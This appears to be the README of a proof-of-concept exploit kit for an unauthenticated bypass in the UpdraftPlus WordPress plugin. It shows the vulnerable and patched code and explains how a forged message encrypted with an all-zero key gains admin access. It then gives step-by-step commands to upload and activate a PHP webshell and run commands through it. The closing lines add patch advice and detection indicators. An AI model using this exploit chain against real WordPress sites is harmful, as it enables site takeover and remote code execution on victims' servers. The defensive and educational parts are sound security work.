// updraftplus/includes/class-remote-communications-v2.php
// Lines 460-491 (version 1.26.4)

$sym_key = $rsa->decrypt($sym_key);
// ❌ No return value check!

$rij->setKey($sym_key);  // false → all-zero key
return $rij->decrypt($ciphertext);

$sym_key = $rsa->decrypt($sym_key);

// ✅ Added in 1.26.5
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);

updraftplus-auth-bypass/
├── README.md
├── poc.py                  # Main exploit script
├── requirements.txt        # Python dependencies
├── payloads/
│   ├── list_plugins.py     # List installed plugins
│   ├── upload_shell.py     # Upload webshell plugin
│   └── activate_plugin.py  # Activate uploaded plugin
├── shell/
│   ├── build_shell.py      # Builds webshell ZIP
│   └── test-shell.php      # Minimal PHP webshell
└── docs/
    ├── technical-analysis.md
    └── patch-diff.md

git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt

requests==2.31.0
pycryptodome==3.20.0

https://www.apachefriends.org
Start: Apache + MySQL

# Place WordPress in htdocs
C:/xampp/htdocs/wordpress/

# Install vulnerable plugin version
# Download: https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4

WordPress Admin → Settings → UpdraftPlus → UpdraftCentral tab → Connect

python poc.py --url http://localhost/wordpress/ --user-id 1

python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins

# Step 1: Build the shell ZIP
python shell/build_shell.py

# Step 2: Upload
python poc.py --url http://localhost/wordpress/ --cmd upload_shell

# Step 3: Activate
python poc.py --url http://localhost/wordpress/ --cmd activate_shell

# Step 4: Test RCE
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"

poc.py
  │
  ├─ 1. Craft malformed RSA-encrypted sym_key (garbage bytes)
  │
  ├─ 2. Encrypt RPC payload with ZERO AES-128 key (0x00 * 16)
  │
  ├─ 3. Build udrpc_message:
  │       [3-byte hex len][fake_sym_key][16-byte hex cipherlen][ciphertext]
  │
  ├─ 4. POST to target (no auth, no nonce, no cookies needed)
  │
  └─ 5. Server-side:
          rsa->decrypt(garbage) → false
          setKey(false)         → 0x00 key
          decrypt(ciphertext)   → our payload ✅
          wp_set_current_user() → admin access
          RPC command executes  → RCE 💀

Update UpdraftPlus to version 1.26.5 immediately.

# Look for suspicious POST requests with udrpc_message
grep "udrpc_message" /var/log/apache2/access.log

# Wordfence users are protected since June 3, 2026

- Unexpected plugin installations
- New PHP files in wp-content/plugins/
- POST requests to WordPress root with udrpc_message parameter
- Unexpected admin-level actions in WordPress logs

MIT License – For educational use only.
Unauthorized use against systems you don't own is illegal.